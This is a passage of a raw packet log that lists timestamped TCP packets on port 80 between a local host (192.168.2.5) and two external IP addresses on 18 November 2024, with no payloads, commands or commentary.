Nov 18, 2024 19:04:31.750380993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750390053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.750418901 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.805860043 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.805874109 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.805883884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.805957079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.806217909 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806230068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806241989 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806278944 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.806315899 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.806473970 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806524038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806581974 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.806591034 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.807420015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.807488918 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.807517052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.822191000 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.822257042 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.822302103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.824978113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.824990034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825001001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825037956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825066090 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825067043 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825079918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825117111 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825117111 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825222969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825237036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825248957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825273037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825304985 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825318098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825417995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.825448990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825459957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.825504065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.826370001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.826380968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.826390982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.826416969 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.826457024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.876080036 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.888866901 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.888926029 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.888931036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.888978958 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.888987064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889023066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889036894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889058113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889069080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889094114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889101982 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889127016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889138937 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889168024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889250040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889265060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889281034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889295101 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889300108 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889349937 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889377117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889389038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889399052 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889410973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889417887 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889424086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889446020 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889473915 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889678001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889688969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889700890 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889713049 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889723063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889725924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889738083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.889751911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.889766932 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.890371084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.890382051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.890393972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.890429020 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.890453100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.897223949 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.897234917 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.897245884 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.897398949 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.926371098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.926467896 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.926562071 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.943943024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.943979025 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944032907 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944032907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944067001 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944081068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944102049 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944149017 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944152117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944186926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944197893 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944221973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944232941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944264889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944400072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944430113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944444895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944472075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944511890 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944525957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944540977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944551945 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944570065 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944575071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944591045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.944592953 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944610119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.944631100 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.969836950 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.986550093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986560106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986568928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986577988 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986601114 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.986629963 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.986723900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986733913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986742973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986752987 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986768007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.986778021 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.986920118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986931086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986941099 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986948967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.986972094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.986998081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.987237930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.987248898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.987284899 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.987411022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.987422943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.987457037 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.001456022 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.001466990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.001477003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.001530886 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.007755041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.007766008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.007781982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.007803917 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.007827044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.007853985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.007899046 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.007910013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.007963896 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.007997990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008009911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008021116 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008042097 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.008065939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.008209944 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008220911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008232117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008244038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008254051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.008255959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.008271933 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.008295059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.040908098 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.040920019 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.040930986 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.040991068 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.040992022 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.043904066 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.044059992 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.044116020 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.063287973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063311100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063328028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063337088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.063359976 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.063750982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063762903 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063775063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063800097 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.063832998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.063865900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063878059 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063888073 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.063913107 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.063944101 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.064069033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064165115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.064169884 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064186096 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064228058 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.064363003 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064374924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064384937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.064404964 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.064424038 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105037928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105082035 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105092049 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105099916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105123043 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105140924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105168104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105179071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105191946 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105226994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105377913 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105390072 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105427980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105431080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105446100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105465889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105478048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105644941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105664968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105684996 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105700970 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105827093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105839014 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105849028 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.105874062 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.105902910 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.106149912 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.106161118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.106172085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.106209993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.106235027 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.127937078 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.127989054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128000975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128041983 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128073931 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128159046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128170967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128181934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128195047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128204107 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128216028 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128355980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128391027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128402948 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128413916 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128424883 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128437042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128438950 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.128463030 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128621101 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.128632069 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.128643036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.128689051 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.128688097 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.163481951 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.163525105 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.163564920 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.164973021 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.164994955 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.165028095 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.184201956 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184252024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184263945 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184263945 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184294939 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184315920 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184381008 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184392929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184437990 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184472084 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184484959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184497118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184519053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184546947 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184669018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184681892 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184693098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184710026 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.184732914 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.184760094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.219718933 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.220278025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.221060991 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:32.221366882 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:32.224410057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224452019 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224463940 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224468946 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224486113 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224509954 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224581957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224594116 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224605083 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224617004 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224658966 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224670887 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224864960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224877119 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224888086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224898100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224910975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224921942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224922895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224945068 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224962950 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.224976063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224988937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.224999905 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.225012064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.225023031 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.225049019 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.225167036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.225219965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.225425959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.225490093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.225779057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.225836039 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.246978998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.246989012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247001886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247045040 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247070074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247082949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247081995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247122049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247132063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247153044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247164011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247195959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:32.247205019 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:32.247215986 CET	80	49983	185.215.113.16	192.168.2.5
